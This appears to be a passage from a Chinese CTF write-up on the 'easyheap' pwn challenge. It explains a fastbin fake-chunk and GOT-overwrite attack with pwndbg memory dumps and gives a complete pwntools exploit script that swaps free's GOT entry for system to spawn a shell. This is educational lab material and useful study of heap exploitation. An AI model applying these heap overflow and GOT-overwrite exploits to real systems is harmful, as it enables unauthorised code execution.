为什么是0x23大小的junk数据传入? create(0x68, b'b') # 2 create(0x68, b'b') # 3 fake_chunk edit(3, 0x2b, b'c' * 0x23 + p64(elf.got['free'])) edit(0, 0x8, p64(elf.plt['system'])) delete(1) p.interactive() 这里可以用GDB调试来看下(做pwn题离不开GDB的调试必须要有耐心) pwndbg> search ccccccccc easyheap       0x6020bd 0x6363636363636363 ('cccccccc') easyheap       0x6020c6 0x6363636363636363 ('cccccccc') easyheap       0x6020cf 0x6363636363636363 ('cccccccc') warning: Unable to access 16000 bytes of target memory at 0x7f50d863ed08, halting search. pwndbg> x/32gx 0x6020bd 0x6020bd: 0x6363636363636363 0x6363636363636363 0x6020cd: 0x6363636363636363 0x6363636363636363 0x6020dd: 0x0000602018636363 0x0001dd8080000000 0x6020ed <heaparray+13>: 0x0001dd80f0000000 0x00006020bd000000 0x6020fd <heaparray+29>: 0x0000000000000000 0x0000000000000000 0x60210d <heaparray+45>: 0x0000000000000000 0x0000000000000000 0x60211d <heaparray+61>: 0x0000000000000000 0x0000000000000000 0x60212d <heaparray+77>: 0x0000000000000000 0x0000000000000000 可以看见在0x6020dd上有我们传入的got表0x0000602018 我们再看看heaparray上的数据内容 pwndbg> x/32gx 0x6020ed-13 0x6020e0 <heaparray>: 0x0000000000602018 0x0000000001dd8080 0x6020f0 <heaparray+16>: 0x0000000001dd80f0 0x00000000006020bd 0x602100 <heaparray+32>: 0x0000000000000000 0x0000000000000000 0x602110 <heaparray+48>: 0x0000000000000000 0x0000000000000000 0x602120 <heaparray+64>: 0x0000000000000000 0x0000000000000000 0x00000000006020bd该地址指向我们的chunk3存放的内容 0x0000000001dd80f0该地址为指向我们的chunk3存放的内容的地址 其真实起始点地址是0x1dd80e0 如下 pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x1dd8000 Size: 0x71 Allocated chunk | PREV_INUSE Addr: 0x1dd8070 Size: 0x71 Allocated chunk | PREV_INUSE #chunk3 Addr: 0x1dd80e0 Size: 0x71 Top chunk | PREV_INUSE Addr: 0x1dd8150 Size: 0x20eb1 而heaparray 0x6020e0 <heaparray>: 0x0000000000602018 0x0000000001dd8080 指向我们的free()的got表 关于为什么选择edit(0, 0x8, p64(elf.plt['system']))这样传入并没有太多用意,p64(elf.plt['system'])刚好八个字节 这里篇幅有限,若有兴趣可以寻找资料学习 EXP: from pwn import * context.log_level = 'debug' def pause_debug():    log.info(proc.pidof(p))    pause() def create(size, content):    p.sendlineafter('choice :', str(1))    p.sendlineafter('Heap :', str(size))    p.sendafter('heap:', content) def edit(idx, size, content):    p.sendlineafter('choice :', str(2))    p.sendlineafter('Index :', str(idx))    p.sendlineafter('Heap :', str(size))    p.sendafter('heap :', content)     def delete(idx):    p.sendlineafter('choice :', str(3))    p.sendlineafter('Index :', str(idx)) proc_name = './easyheap' p = process(proc_name) #p = remote('node3.buuoj.cn', 27185) elf = ELF(proc_name) create(0x68, b'woaini') # 0 create(0x68, b'a') # 1 create(0x68, b'a') # 2 #gdb.attach(p) delete(2) edit(1, 0x78, b'/bin/sh'.ljust(0x68, b'\x00') + p64(0x71) + p64(0x6020ad)) #gdb.attach(p) create(0x68, b'b') # 2 create(0x68, b'b') # 3 fake_chunk edit(3, 0x2b, b'c' * 0x23 + p64(elf.got['free'])) edit(0, 0x8, p64(elf.plt['system'])) delete(1) p.interactive() 心得简述: 做PWN题非常考验耐心与基础,IDA的逆向分析是最为主要的一步,一定要静下来看伪代码和汇编 有了多种思路不要嫌麻烦一定要上机去用GDB一步步调试。会了各种套路技巧固然厉害,但是没有牢固 的逆向基础和调试能力是走不远的。
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页